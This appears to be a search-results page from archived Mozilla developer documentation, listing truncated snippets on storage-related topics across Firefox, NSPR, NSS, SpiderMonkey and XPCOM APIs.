message firefox: cookieblockedbypermission=request to access cookies or storage on “x” was blocked because of custom cookie permission. what went wrong? a request to access cookies or storage was blocked because there's a custom user-defined permission set. the permission can be changed or removed by: going to preferences > content blocking > cookies and site data clicking on the manage permissions button and updating the listed exceptions ...
Privacy
this document lists privacy-related documentation. ...
Browser API
dimensions of the content window. htmliframeelement.getmanifest() retrieves the manifest of an app loaded in the browser <iframe> and returns it as json. htmliframeelement.getscreenshot() takes a screenshot of the browser <iframe>'s content. this is particularly useful to get thumbnails of tabs in a tabbed browser app. htmliframeelement.purgehistory() clears all the resources (cookies, localstorage, cache, etc.) associated with the browser <iframe>. htmliframeelement.sendtouchevent() sends a touchevent to the <iframe>'s content. note that this method is available for touch enabled devices only. htmliframeelement.removenextpaintlistener() removes a handler previously set with addnextpaintlistener(). htmliframeelement.zoom() changes the zoom factor of the browser <iframe>'s content. thi...
JNI.jsm
; var sig = { environment: 'landroid/os/environment;', string: 'ljava/lang/string;', file: 'ljava/io/file;' }; var environment = jni.loadclass(my_jenv, sig.environment.substr(1, sig.environment.length - 2), { static_fields: [ { name: 'directory_pictures', sig: sig.string } ], static_methods: [ { name:'getexternalstoragedirectory', sig:'()' + sig.file } ] }); jni.loadclass(my_jenv, sig.file.substr(1, sig.file.length - 2), { methods: [ { name:'getpath', sig:'()' + sig.string } ] }); var javafile_dirextstore = environment.getexternalstoragedirectory(); // object { js#obj: cdata } var javastr_dirextstorepath = javafile_dirextstore.getpath(); // object { js#ob...
Log.jsm
logstructured(); name parent removeappender(); updateappenders(); and the methods mentioned below: logger methods loggerrepository(); length: 0 keys of prototype: getlogger(); rootlogger storagestreamappender(); length: 1 keys of prototype: doappend(); getinputstream(); newoutputstream(); outputstream reset(); structuredformatter(); length: 0 keys of prototype: format(); method overv...
OSFile.jsm
operations that look trivial, such as closing a file, or checking when it was last modified. if the operation is called on the main thread, this means that the whole user experience is stuck for several seconds, which is quite bad. why is i/o efficiency important? i/o efficiency is all about minimizing the number of actual i/o calls. this is critical because some platforms have extremely slow storage (e.g. smartphones, tablets) and because, regardless of the platforms, doing too much i/o penalizes not just your application but potentially all the applications running on the system, which is quite bad for the user experience. finally, i/o is often expensive in terms of energy, so wasting i/o is wasting battery. consequently, one of the key design choices of os.file is to provide operations th...
Webapps.jsm
tioncancelled: function(windowid) denyinstall: function(adata) _setupapp: function(adata, aid) _cloneapp: function(adata, anewapp, alocalemanifest, amanifest, aid, alocalid) _writemanifestfile: function(aid, aispackage, ajsonmanifest) _nextlocalid: function() _appidformanifesturl: function(auri) makeappid: function() _saveapps: function() _readmanifests: function(adata) _ensuresufficientstorage: function(anewapp) _checkdownloadsize: function(afreebytes, anewapp) _getrequestchannel: function(afullpackagepath, aislocalfileinstall, aoldapp,) _senddownloadprogressevent: function(anewapp, aprogress) _getpackage: function(arequestchannel, aid, aoldapp, anewapp) _computefilehash: function(afilepath) _sendappliedevent: function(aapp) _openandreadpackage: function(azipfile, aoldapp, anewa...
JavaScript code modules
sion of chromeworker which uses promises to return the worker's result instead of using an event to do so. services.jsm provides getters for conveniently obtaining access to commonly-used services. source-editor.jsm the source editor is used by developer tools such as, the style editor; this interface implements the editor and lets you interact with it. sqlite.jsm a promise-based api to mozistorage/sqlite. task.jsm implements a subset of task.js to make sequential, asynchronous operations simple, using the power of javascript's yield operator. timer.jsm a pure js implementation of window.settimeout. webapps.jsm provides an interface to manage open web apps. webrequest.jsm provides an api to add event listeners for the various stages of making an http request. the event listener rece...
Mozilla Framework Based on Templates (MFBT)
ferenced only at valid locations in that range. this pointer is a useful way to expose access to values within an array. refptr.h implements various smart pointer templates to simplify reference counting of values of particular classes. scoped.h implements scope-based resource management, to simplify the task of cleaning up resources when leaving a scope. threadlocal.h implements thread-local storage, aka "tls", also called thread-specific storage. it should be used only for static-storage-duration variables, such as global variables or static class members. ...
DMD
g on the icon as usual, or from the command line (as before, be sure to replace org.mozilla.fennec_$username with the app identifier as appropriate). adb shell am start -n org.mozilla.fennec_$username/.app trigger use the existing memory-report dumping hook: adb shell am broadcast -a org.mozilla.gecko.memory_dump in logcat, you should see output similar to this: i/dmd (20731): opened /storage/emulated/0/download/memory-reports/dmd-default-20731.json.gz for writing ... i/geckoconsole(20731): nsimemoryinfodumper dumped reports to /storage/emulated/0/download/memory-reports/unified-memory-report-default-20731.json.gz the path is where the memory reports and dmd reports get dumped to. you can pull them like so: adb pull /sdcard/download/memory-reports/dmd-default-20731.json.gz adb pull...
about:memory
this "explicit" value at the root of the tree represents all the memory allocated via explicit calls to allocation functions. the "window-objects" sub-tree represents all javascript windo...
Crash reporting
rmation, see how to get a stacktrace for a bug report. reports and queries crash-stats has built-in reports of "topcrashes" for each release grouped by signature. there is also a custom query tool which allows users to limit searches on more precise information. finally, a set of mozilla employees have access to directly query the underlying data in either sql summary or using mapreduce on the storage cluster. if you are interested in obtaining this advanced access, contact gabriele svelto. see also understanding crash reports a guide to searching crash reports crash-stats crash pings (telemetry) and crash reports (socorro/crash stats) building firefox with debug symbols environment variables affecting crash reporting in-code documentation crash reporter crash manager crash p...
Debugging out-of-memory problems
erate an about:memory dump, but it does not currently. firefox android on firefox android, an about:memory dump may be triggered from a connect desktop machine with the command: adb shell am broadcast -a org.mozilla.gecko.memory_dump the location of the dump file will be printed to the android log (viewed with adb logcat | grep geckoconsole) and can be retrieved via adb pull. note: replace "/storage/emulated/0/download/" in the reported file path with the device's download path (e.g. "/sdcard/download/") when calling adb pull. ...
Firefox Sync
is implemented or wish to interact with it. general the always prolific richard newman has written a couple of notes about bookmark syncing (first, second) and has a blog where he talks about the various challenges syncing this kind of data. servers documentation for the various servers, including information on how to host your own. android searchfox has links to the main sync code and the storage layer. there are also some notes in a google document (that we really must move to its own wiki page) there's also information available to help debug and diagnose android sync issues. ios there is some in-tree documentation and there are some extensive comments here and here. desktop notes on how to file a good bug for desktop sync. there are some notes on how to run our tps testing infras...
Optimizing Applications For NSPR
read within the process. further, the process in which the threads are being emulated will run until it invokes some function that gives control to windows. windows 3.1 applications always run on a stack provided by windows. this means that nspr threads use a shadow stack to preserve context across a thread switch. at thread switch time, the stack of the current running thread is copied to other storage associated with that thread and the about-to-be-dispatched thread's stack data is copied back onto the windows stack just before the thread is given control. this has disastrous implications on the generally accepted programming practice of taking the address of a stack variable and giving that address to another thread. consider that the windows stack is swapped in and out with each thread swit...
Interval Timing
constants all timed functions in nspr require a parameter that depicts the amount of time allowed to elapse before the operation is declared failed. the type of such arguments is printervaltime. such parameters are common in nspr functions such as those used for i/o operations and operations on condition variables. nspr 2.0 provides interval times that are efficient in terms of performance and storage requirements. conceptually, they are based on free-running counters that increment at a fixed rate without possibility of outside influence (as might be observed if one was using a time-of-day clock that gets reset due to some administrative action). the counters have no fixed epoch and have a finite period. to make use of these counters, the application must declare a point in time, the epoch, a...
NSPR LOG MODULES
not specified, the existing contents of nspr_log_file will be lost as a new file is created with the same filename. sync the name sync enables unbuffered logging. this ensures that all log messages are flushed to the operating system as they are written, but may slow the program down. bufsize:size the name bufsize:size sets the log buffer to size. examples log everything from the toolkit::storage component that happens, prefixing each line with the timestamp when it was logged to the file /tmp/foo.log (which will be replaced each time the executable is run). set nspr_log_modules=timestamp,mozstorage:5 set nspr_log_file=/tmp/foo.log logging with try server for mochitest, edit variable nspr_log_modules in testing/mochitest/runtests.py before pushing to try. you would be able to downl...
PR_FreeLibraryName
frees memory allocated by nspr for library names and path names. syntax #include <prlink.h> void pr_freelibraryname(char *mem); parameters the function has this parameter: mem a reference to a character array that was previously allocated by the dynamic library runtime. returns nothing. description this function deletes the storage allocated by the runtime in the functions described previously. it is important to use this function to rather than calling directly into malloc in order to isolate the runtime's semantics regarding storage management. ...
PR_GetLibraryName
iption this function constructs a full path name from the specified directory name and library name. the constructed path name refers to the actual dynamically loaded library. it is suitable for use in the pr_loadlibrary call. this function does not test for existence of the specified file, it just constructs the full filename. the way the name is constructed is system dependent. if sufficient storage cannot be allocated to contain the constructed path name, the function returns null. storage for the result is allocated by the runtime and becomes the responsibility of the caller. when it is no longer used, free it using pr_freelibraryname. ...
PR_GetLibraryPath
retrieves the current default library path. syntax #include <prlink.h> char* pr_getlibrarypath(void); parameters the function has no parameters. returns a copy of the default library pathname string. in case of error, returns null. description this function retrieves the current default library pathname, copies it, and returns the copy. if sufficient storage cannot be allocated to contain the copy, the function returns null. storage for the result is allocated by the runtime and becomes the responsibility of the caller. when it is no longer used, free it using pr_freelibraryname. ...
PR_InitializeNetAddr
syntax #include <prnetdb.h> prstatus pr_initializenetaddr( prnetaddrvalue val, pruint16 port, prnetaddr *addr); parameters the function has the following parameters: val the value to be assigned to the ip address portion of the network address. this must be pr_ipaddrnull, pr_ipaddrany, or pr_ipaddrloopback. port the port number to be assigned in the network address structure. the value is specified in host byte order. addr a pointer to the prnetaddr structure to be manipulated. ...
PR_PushIOLayer
n keeping the pointer to the stack even as layers are pushed onto the top of the stack is accomplished by swapping the contents of the file descriptor being pushed and the stack's current top layer file descriptor. the intent is that the pointer to the stack remain the stack's identity even if someone (perhaps covertly) has pushed other layers. some subtle ramifications: the ownership of the storage pointed to by the caller's layer argument is relinquished to the runtime. accessing the object via the pointer is not permitted while the runtime has ownership. the correct mechanism to access the object is to get a pointer to it by calling pr_getidentitieslayer. the contents of the caller's object are swapped into another container, including the reference to the object's destructor. if the ...
PR_SetErrorText
assumed to be the length specified and to possibly include null characters (as might occur in a multilingual string). text the text to associate with the error. description the text is copied into the thread structure and remains there until the next call to pr_seterror. if there is error text already present in the thread, the previous value is first deleted. the new value is copied into storage allocated and owned by nspr and remains there until the next call to pr_seterror or another call to pr_seterrortext. nspr makes no use of this function. clients may use it for their own purposes. ...
PR_SetLibraryPath
ath a pointer to a character array that contains the directory path that the application should use as a default. the syntax of the pathname is not defined, nor whether that pathname should be absolute or relative. returns the function returns one of the following values: if successful, pr_success. if unsuccessful, pr_failure. this may indicate that the function cannot allocate sufficient storage to make a copy of the path string description this function registers a default library pathname with the runtime. this allows an environment to express policy decisions globally and lazily, rather than hardcoding and distributing the decisions throughout the code. ...
FIPS Mode - an explanation
at are needed to do whatever job the application wants it to perform. it must generate or derive cryptographic keys and store them internally. except for "public keys", it must not allow any keys to leave it (to get outside of it) unless they are encrypted ("wrapped") in a special way. this makes it difficult to move keys from one device to another, and consequently, all crypto engines and key storage must be in a single device rather than being split up into several devices. how does this affect firefox users? these requirements have several implications for users. in fips mode, every user must have a good strong "master password", and must enter it each time he starts or restarts firefox before he can visit any web sites that use cryptography (https). firefox can only use the latest vers...
JSS FAQ
Mozilla › Projects › NSS › JSS › JSS FAQ
yes. before jss 3.2 you would use cryptomanager to obtain the cryptotoken you want to use, then call cryptotoken.getciphercontext() to get an encryption engine. but as of jss 3.2 you would use the jss jca provider. can you explain token names and keys with regards to jss? the token name is different depending on which application you are running. in jss, the token is called "internal key storage token". you can look it up by name using cryptomanager.gettokenbyname(), but a better way is to call cryptomanager.getinternalkeystoragetoken(), which works no matter what the token is named. in general, a key is a handle to an underlying object on a pkcs #11 token, not merely a java object residing in memory. symmetric key usage: basically encrypt/decrypt is for data and wrap/unwrap is for keys...
NSS 3.31 release notes
portable runtime (nspr) 4.15 or newer. nss 3.31 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_31_rtm/src/ new in nss 3.31 new functionality allow certificates to be specified by rfc7512 pkcs#11 uris. allow querying a certificate object for its temporary or permanent storage status in a thread safe way. new functions in cert.h cert_getcertisperm - retrieve the permanent storage status attribute of a certificate in a thread safe way. cert_getcertistemp - retrieve the temporary storage status attribute of a certificate in a thread safe way. in pk11pub.h pk11_findcertfromuri - find a certificate identified by the given uri. pk11_findcertsfr...
NSS 3.38 release notes
unctions in secitem.h secitem_makeitem - allocate and make an item with the requested contents new macros in ssl.h ssl_record_size_limit - used to control the tls record size limit extension notable changes in nss 3.38 fixed cve-2018-0495 in bug 1464971. various security fixes in the asn.1 code. nss automatically enables caching for sql database storage on linux, if it is located on a network filesystem that's known to benefit from caching. when repeatedly importing the same certificate into an sql database, the existing nickname will be kept. bugs fixed in nss 3.38 this bugzilla query returns all the bugs fixed in nss 3.38: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&prod...
NSS API Guidelines
n data elements one at a time. unfortunately, there are good reasons to maintain all these types. so here are some guidelines to make them more manageable: all callback operating search functions should be in the low level of the api, if exposed at all. developers dealing with ssl and pkcs #7 layers should not have to see any of these functions. these functions should have the form layer_traversestorageobjectorlist(). list and array returning functions should be available at the higher layers of the api, most wrapping layer_traverse() functions. they should have the form layer_lookupdatatype{list|array}[bydatatype](). accesssor functions accessor functions should take the following formats: layer_datatypegetelement() -- get a specific element of a data structure. layer_datatypesetele...
NSS Sample Code Sample1
e secondary host generates an rsa keypair that will be used // to transport keys between the primary host and itself. this // key needs to exist long enough to be used to process the // response to a key transport request that is made to the primary // server. the example here shows how to create a permanent (token) // rsa key for this purpose. (this key will also be used for // storage of the keys, since nss does not support permanent symmetric // keys at the current time.) // 3. the secondary host sends its rsa public key to the primary host as // part of a request for a particular key, or to be added to a list // of secondary hosts. // 4. the administrator of the primary host verifies that the rsa key // that was received belongs to a valid secondary host. the ad...
NSS sources building testing
the nss directory contains the following important subdirectories: nss/coreconf contains knowledge for cross platform building. nss/lib contains all the library code that is used to create the runtime libraries used by applications. nss/cmd contains a set of various tool programs that are built using nss. several tools are general purpose and can be used to inspect and manipulate the storage files that software using the nss library creates and modifies. other tools are only used for testing purposes. however, all these tools are good examples of how to write software that makes use of the nss library. nss/test this directory contains the nss test suite, which is routinely used to ensure that changes to nss don't introduce regressions. nss/gtests code for nss unit tests running...
nss tech note4
id (certcertificate *cert, secitem *oid, secitem *value); get the decoded value of the "basic constraints" extension secstatus cert_findbasicconstraintexten (certcertificate *cert, certbasicconstraints *value); get value of the keyusage extension. this uses pr_alloc to allocate buffer for the decoded value, the caller should free up the storage allocated in value->data. secstatus cert_findkeyusageextension (certcertificate *cert, secitem *value); get decoded value of the subjectkeyid extension. this uses pr_alloc to allocate buffer for the decoded value, the caller should free up the storage allocated in value->data. secstatus cert_findsubjectkeyidexten (certcertificate *cert, sec...
Overview of NSS
4346), tls v1 (rfc 2246). the transport layer security (tls) protocol from the ietf that supersedes ssl. pkcs #1. rsa standard that governs implementation of public-key cryptography based on the rsa algorithm. pkcs #3. rsa standard that governs implementation of diffie-hellman key agreement. pkcs #5. rsa standard that governs password-based cryptography, for example to encrypt private keys for storage. pkcs #7. rsa standard that governs the application of cryptography to data, for example digital signatures and digital envelopes. pkcs #8. rsa standard that governs the storage and encryption of private keys. pkcs #9. rsa standard that governs selected attribute types, including those used with pkcs #7, pkcs #8, and pkcs #10. pkcs #10. rsa standard that governs the syntax for certificate req...
Python binding for NSS
socket.readlines() socket.sendall() apply patches from miloslav trmač <mitr@redhat.com> for ref counting and threading support. ...
sslfnc.html
reserved should be null.. returns the function returns one of these values: if successful, secsuccess. if unsuccessful, secfailure. use pr_geterror to retrieve the error code. description nss_nodb_init opens only the temporary database and the internal pkcs #112 module. unlike nss_init, nss_nodb_init allows applications that do not have access to storage for databases to run raw crypto, hashing, and certificate functions. nss_nodb_init isnot idempotent, so call it only once. before calling nss_nodb_init, your program must call pr_init. the policy flags for all cipher suites are turned off by default, disallowing all cipher suites. therefore, an application cannot use nss to perform any cryptographic operations until after it enables approp...
Rhino scopes and contexts
iated with the current thread. that context will be returned and an internal counter incremented. only when the counter reaches zero will it be disassociated from the thread. remember to put the exit() call in a finally block if you're executing code that could throw an exception. scopes a scope is a set of javascript objects. execution of scripts requires a scope for top-level script variable storage as well as a place to find standard objects like function and object. it's important to understand that a scope is independent of the context that created it. you can create a scope using one context and then evaluate a script using that scope and another context (either by exiting the current context and entering another, or by executing on a different thread). you can even execute scripts on m...
JS::MutableHandle
this is useful for outparams. syntax bool somefunction(jscontext *cx, js::mutablehandle<t> outparam) { ... } methods here, ptr represents the private member of js::mutablehandle<t>, typed with t *. method description const t &get() const returns *ptr. operator const t&() const t operator->() const t *address() returns ptr. void set(t v) sets the value of *ptr to v. ...
JSObjectOps.dropProperty
luding the object on which the property is defined. the granularity of the locking is up to the jsobjectops implementation; deadlock does not happen because each thread accesses only one property at a time. a single, built-in jsobjectops implementation is used for most spidermonkey objects that are exposed to scripts. custom jsobjectops implementations can either retain the spidermonkey property storage and locking scheme (by copying all or most of the built-in jsobjectops) or replace it entirely. threads. in a js_threadsafe build, any consistency observed by multiple threads operating on the same data is provided solely by the property locking scheme described above. in spidermonkey 1.8 and earlier, the main built-in jsobjectops implementation serialized all accesses to a given object's proper...
JS_AddArgumentFormatter
ow. description js_addargumentformatter establishes formatter as the conversion function for format strings beginning with format in the context cx. on success, it returns js_true. otherwise it returns js_false. (at the moment, js_addargumentformatter fails only if there is no memory available to record the registration.) js_addargumentformatter does not copy format, it points at the string storage allocated by the caller, which is typically a string constant. if format is in dynamic storage, the caller must keep the string alive until js_removeargumentformatter is called. js_removeargumentformatter removes any conversion functions associated with format. callback syntax jsbool (*jsargumentformatter)(jscontext *cx, const char *format, jsbool fromjs, jsval **vpp, va_li...
JS_GetPropertyAttrsGetterAndSetter
object * object from which to retrieve property attributes. name or id const char * or const jschar * or jsid the name of the property to examine. namelen size_t (only in js_getucpropertyattrsgetterandsetter) the length of name in characters; or (size_t) -1 to indicate that name is null-terminated. attrsp unsigned int * out parameter. pointer to the storage area into which to place retrieves attributes. foundp jsbool * out parameter. flag indicating whether or not the specified property was located. getterp jspropertyop * out parameter. on success, *getterp receives a pointer to the getter function for the specified property. setterp jspropertyop * out parameter. on success, *setterp receives a pointer to...
JS_NewDependentString
bstring. length size_t length of the substring, in characters. description js_newdependentstring creates a new string as a substring of an existing javascript string, str. the new string contains the same characters as if it were created with the javascript method str.substr(start, length). the characters are not copied. instead, the new string shares str's existing character storage. (implementation note: because of this sharing, the garbage collector will not collect str as long as the new substring is reachable.) on success, js_newdependentstring returns a pointer to the new string. otherwise it returns null. see also mxr id search for js_newdependentstring ...
JS_NewUCString
buf char * or char16_t * pointer to a character array, allocated with js_malloc, containing the characters for the js string to create. the javascript engine adopts the buffer. length size_t number of characters in the text string. description js_newstring creates and returns a new string, using the memory starting at buf and ending at buf + length as the character storage. js_newucstring is the unicode version of the function. the character array, buf, must be allocated on the heap using js_malloc. on success, the javascript engine adopts responsibility for memory management of this region. the application must not read, write, or free the buffer. this allows the javascript engine to avoid needless data copying. on success, js_newstring and js_newucstring return a...
JS_NewStringCopyN
ires request. in a js_threadsafe build, the caller must be in a request on this jscontext. s const char* or const char16_t * pointer to the array of characters containing the text for the js string to create. n size_t number of characters to copy from s into the new string. description js_newstringcopyn allocates space for a javascript string and its underlying storage, and copies n characters from a c character array, s, into the new jsstring. js_newucstringcopyn is the unicode version of the function. the two functions differ only in the type of the character array s; both functions create ordinary javascript strings, and all javascript strings are made up of 16-bit characters. if the array s contains more than n characters, the new string contains a truncate...
JS_NewStringCopyZ
pointer to a js context from which to derive runtime information. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. s const char * or const char16_t * pointer to the character array containing the text for the js string to create; or null. description js_newstringcopyz allocates space for a new javascript string and its underlying storage, and then copies the contents of a null-terminated character array, s, into the new string. on success, js_newstringcopyz returns a pointer to the new javascript string. on error, it returns null. if s is null, an empty javascript string is returned. js_newstringcopy(cx, s) is equivalent to js_newstringcopyn(cx, s, strlen(s)) when s is a null-terminated string. see also mxr id search for js_news...
JS_SET_TRACING_DETAILS
r. when printer is null, arg must be const char * or char * c string naming the reference and index must be either (size_t)-1 indicating that the name alone describes the reference or it must be an index into some array vector that stores the reference. when printer is not null, the arg and index arguments are available to the callback as the debugprinterarg and debugprintindex fields of trc. the storage for name or callback's arguments needs to live only until the following call to js_calltracer returns. mxr id search for js_set_tracing_details ...
Shell global objects
mainthread. note: tracelogging starts automatically. disable it by setting environment variable tloptions=disablemainthread stoptracelogger() stop logging the mainthread. functions available only in nightly build objectaddress(obj) return the current address of the object. for debugging only--this address may change during a moving gc. sharedaddress(obj) return the address of the shared storage of a sharedarraybuffer. functions available only in debug build dumpobject() dump an internal representation of an object. dumpstringrepresentation(str) print a human-readable description of how the string str is represented. setrngstate(seed0, seed1) set this compartment's rng state. functions available only in debug build or js_oom_breakpoint is defined oomthreadtypes() get the ...
WebReplayRoadmap
difficulties when recording and replaying on different machines with incompatible firefox builds or operating systems will be smoothed out. recordings can be uploaded, and cloud services can locate the correct build and os needed to replay them. management of a corpus of recordings (some which may have been made with different builds or operating systems) will be easier to manage, with shared storage in the cloud. expensive dynamic analyses are easier to run in the cloud, allowing a high level of parallelism without impacting users. the cloud should not be the only option by which people can use web replay, however. all features should be accessible to users operating locally. while cloud integration is not in placer, web replay's architecture has recently been redesigned in preparation ...
Using RAII classes in Mozilla
m: static analysis and runtime assertions. static analysis static analysis passes are run on our testing infrastructure using our clang plugin, you can also run them locally marking a raii class for the static analysis is very simple, and performing this marking causes the static analysis to produce a build-time error whenever a raii class is allocated as a temporary, on the heap, or in static storage. this involves just one addition to the class, and the inclusion of attributes.h: class moz_raii nsautoscriptblocker {...} this is much simpler and more thorough than the guardobject runtime assertions, but are unfortunately currently only run on mac os x and linux builds, which means that guardobject should still be used for raii guards which may be used in windows-only code. assertions ru...
Secure Development Guidelines
bits maximum value that can be represented data type 8 28-1 255 char 16 216-1 65535 short 32 232-1 4294967295 int 64 264-1 18446744073709551615 long long integer overflows/underflows example of an integer overflow int main() { unsigned int foo...
The Places database
the places schema looks like so: core url table moz_places: this is the main table of uris and is managed by the history service (see also history service design). any time a places component wants to reference a url, whether visited or not, it refers to this table. each entry has an optional reference to the moz_favicon table to identify the favicon of the page. ...
Places Expiration
expiration is handled in toolkit/components/places/nsplacesexpiration.js. algorithm expiration is based on hardware specs, specifically on memory size and available disk space. this means on mobile and old systems expiration will be more aggressive than on high-end hardware, to try keep the database size at a reasonable (and performant) value. all of expiration uses the storage async api, that ensures i/o is in a separate thread, plus it won't block any read thanks to the use of the wal journaling system. common expiration runs on a timer, every 3 minutes and uses a simple adaptive algorithm: if the last step was unable to expire enough entries the next one will expire more entries, otherwise if the previous step completed the cleanup the next step will be delayed. this ensures expira...
Using the Places annotation service
ary methods which return the mimetype as well). ...
Places
places is the bookmarks and history management system introduced in firefox 3. it offers increased flexibility and complex querying to make handling the places the user goes easier and more convenient. it also includes new features including favicon storage and the ability to annotate pages with arbitrary information. it also introduces new user interfaces for managing all this information; see places on the mozilla wiki. places stores its data in an sqlite database using the mozstorage interfaces. documentation places migration guide migrating existing code to use the places api. manipulating bookmarks using places examples for how to work with bookmarks using the places api. using the places tagging service how to use the tagging service. ...
FUEL
ide the most benefit. fuel has a fueliapplication interface that implements all the functions of extiapplication. the library has also been implemented in thunderbird ("steel") and in seamonkey ("smile"). objects extiapplication objects extiapplication exticonsole extieventitem extieventlistener extievents extiextension extiextensions extipreference extipreferencebranch extisessionstorage fueliapplication objects fueliannotations fueliapplication fuelibookmark fuelibookmarkfolder fuelibookmarkroots fuelibrowsertab fueliwindow xpcom although the fuel application object is preloaded into xul scripts, it is not preloaded into javascript xpcom code. the object needs to be accessed like any other xpcom service: var application = components.classes["@mozilla.org/fuel/app...
SMILE
eas that will provide the most benefit. smile has a smileiapplication interface that implements all the functions of extiapplication. the library has also been implemented in firefox ("fuel") and in thunderbird ("steel"). objects extiapplication objects exticonsole extieventitem extieventlistener extievents extiextension extiextensions extipreference extipreferencebranch extisessionstorage smileiapplication objects smileibookmarkroots smileiwindow smileibrowsertab smileiapplication xpcom although the extiapplication object is preloaded into xul scripts, it is not preloaded into javascript xpcom code. the object needs to be accessed like any other xpcom service: var application = components.classes["@mozilla.org/smile/application;1"].getservice(components.interfaces.smil...
STEEL
development. currently, steel has an steeliapplication interface that implements all the functions of extiapplication. the library has also been implemented in firefox ("fuel") and in seamonkey ("smile"). objects extiapplication objects extiapplication exticonsole extieventitem extieventlistener extievents extiextension extiextensions extipreference extipreferencebranch extisessionstorage steeliapplication objects steeliapplication xpcom although the steel steeliapplication object is preloaded into xul scripts, it is not preloaded into javascript xpcom code. the object needs to be accessed like any other xpcom service: var application = components.classes["@mozilla.org/steel/application;1"].getservice(components.interfaces.steeliapplication); other resources steel de...
extIApplication
ion. extensions readonly attribute extiextensions the extensions object for the application. contains a list of all installed extensions. not available anymore on gecko 2.0 (see [1]), use getextensions() instead obsolete since gecko 2.0 prefs readonly attribute extipreferencebranch the preferences object for the application. defaults to an empty root branch. storage readonly attribute extisessionstorage the storage object for the application. events readonly attribute extievents the events object for the application. supports: "load", "ready", "quit", "unload" the following interfaces are only available to firefox: attribute type description bookmarks readonly attribute fuelibookmarkroots th...
extIExtension
version readonly attribute astring the version number of the extension. firstrun readonly attribute boolean indicates whether this is the extension's first run after install prefs readonly attribute extipreferencebranch the preferences object for the extension. defaults to the "extensions.<extensionid>." branch. storage readonly attribute extisessionstorage the storage object for the extension. events readonly attribute extievents the events object for the extension. supports: "uninstall" methods fixme: see also see extapplication.js line:395 for the implementation of firstrun. a preference "install-event-fired" under your extensions preferences branch (e.g. ex...
Toolkit API
nsion packaging: specific information about multiple-item extension xpis xul application packaging: specific information about how to package xulrunner applications chrome registration printing in xul apps see also the following developer pages contain examples and discussions of particular topics: xul xul overlays developing extensions xulrunner developing themes dom rdf storage ...
XPCOM array guide
Mozilla › Tech › XPCOM › Guide › Arrays
must also define an operator==. for sorting without providing a comparator they must define an operator<. note that this class differs from the other array types by using unsigned indices. nscomarray<t> - a c++ class which provides a typesafe, reference-counted container for pointers to a single type of com object. nsautotarray<t, n> - a version of nstarray which includes n entries of internal storage for the array data. nstptrarray<t> and nsautotptrarray<t> - similar to using t* with the above arrays, but also provides a safeelementat() accessor. as of gecko 8, safeelementat() is now directly available on nstarray for arrays instantiated with pointer types. some other arrays: fallibletarray, autofallibletarray, infallibletarray, autoinfallibletarray, nstobserverarray, nsautotobserverarray. ...
Append
family of functions appends a value to the end of a string's internal buffer. void append( const self_type& astring ); parameters astring [in] a nsacstring to append to this string. void append( const char_type* adata, size_type adatalength = pr_uint32_max ); parameters adata [in] a raw character array to append to this string. adatalength [in] the length of adata, measured in storage units. if equal to pr_uint32_max, then adata is assumed to be null-terminated. otherwise, adata need not be null terminated. void append( char_type achar ); parameters achar [in] a character to append to this string. remarks if insufficient memory is available to perform the assignment, then the string's internal buffer will point to a static empty (zero-length) buffer. ...
Assign
the assign family of functions sets the value of a string's internal buffer. void assign( const self_type& astring ); parameters astring [in] a nsacstring to copy into this string. void assign( const char_type* adata, size_type adatalength = pr_uint32_max ); parameters adata [in] a raw character array to copy into this string. adatalength [in] the length of adata, measured in storage units. if equal to pr_uint32_max, then adata is assumed to be null-terminated. otherwise, adata need not be null terminated. void assign( char_type achar ); parameters achar [in] the character to copy into this string. remarks if insufficient memory is available to perform the assignment, then the string's internal buffer will point to a static empty (zero-length) buffer. ...
Cut
« xpcom api reference summary the cut function removes a section of the string's internal buffer. void cut( index_type acutstart, size_type acutlength ); parameters acutstart [in] the starting index of the section to remove, measured in storage units. acutlength [in] the length of the section to remove, measured in storage units. ...
EndReading
ction returns a const char_type pointer to the element just beyond the last element of the string's internal buffer. const char_type* endreading() const; remarks it is generally illegal to dereference the returned pointer, unless it is known that the string's internal buffer is null-terminated. the ns_cstringgetdata function can be used to determine if a nsacstring instance has null-terminated storage. example code see beginreading for an example. see also beginreading, ns_cstringgetdata, nsacstring ...
Insert
l buffer specifying where to place the given characters. void insert( const char_type* adata, index_type aposition, size_type adatalength = pr_uint32_max ); parameters adata [in] a raw character array to append to this string. aposition [in] an offset into the string's internal buffer specifying where to place the given characters. adatalength [in] the length of adata, measured in storage units. if equal to pr_uint32_max, then adata is assumed to be null-terminated. otherwise, adata need not be null terminated. void insert( char_type achar, index_type aposition ); parameters achar [in] a character to append to this string. aposition [in] an offset into the string's internal buffer specifying where to place the given characters. remarks if insufficient memory is availa...
Length
size_type length() const; ...
Append
family of functions appends a value to the end of a string's internal buffer. void append( const self_type& astring ); parameters astring [in] a nsastring to append to this string. void append( const char_type* adata, size_type adatalength = pr_uint32_max ); parameters adata [in] a raw character array to append to this string. adatalength [in] the length of adata, measured in storage units. if equal to pr_uint32_max, then adata is assumed to be null-terminated. otherwise, adata need not be null terminated. void append( char_type achar ); parameters achar [in] a character to append to this string. remarks if insufficient memory is available to perform the assignment, then the string's internal buffer will point to a static empty (zero-length) buffer. ...
Assign
y the assign family of functions sets the value of a string's internal buffer. void assign( const self_type& astring ); parameters astring [in] a nsastring to copy into this string. void assign( const char_type* adata, size_type adatalength = pr_uint32_max ); parameters adata [in] a raw character array to copy into this string. adatalength [in] the length of adata, measured in storage units. if equal to pr_uint32_max, then adata is assumed to be null-terminated. otherwise, adata need not be null terminated. void assign( char_type achar ); parameters achar [in] the character to copy into this string. remarks if insufficient memory is available to perform the assignment, then the string's internal buffer will point to a static empty (zero-length) buffer. ...
Cut
« xpcom api reference summary the cut function removes a section of the string's internal buffer. void cut( index_type acutstart, index_type acutlength ); parameters acutstart [in] the starting index of the section to remove, measured in storage units. acutlength [in] the length of the section to remove, measured in storage units. ...
EndReading
nction returns a const char_type pointer to the element just beyond the last element of the string's internal buffer. const char_type* endreading() const; remarks it is generally illegal to dereference the returned pointer, unless it is known that the string's internal buffer is null-terminated. the ns_cstringgetdata function can be used to determine if a nsastring instance has null-terminated storage. example code see beginreading for an example. see also beginreading, ns_cstringgetdata, nsastring ...
Insert
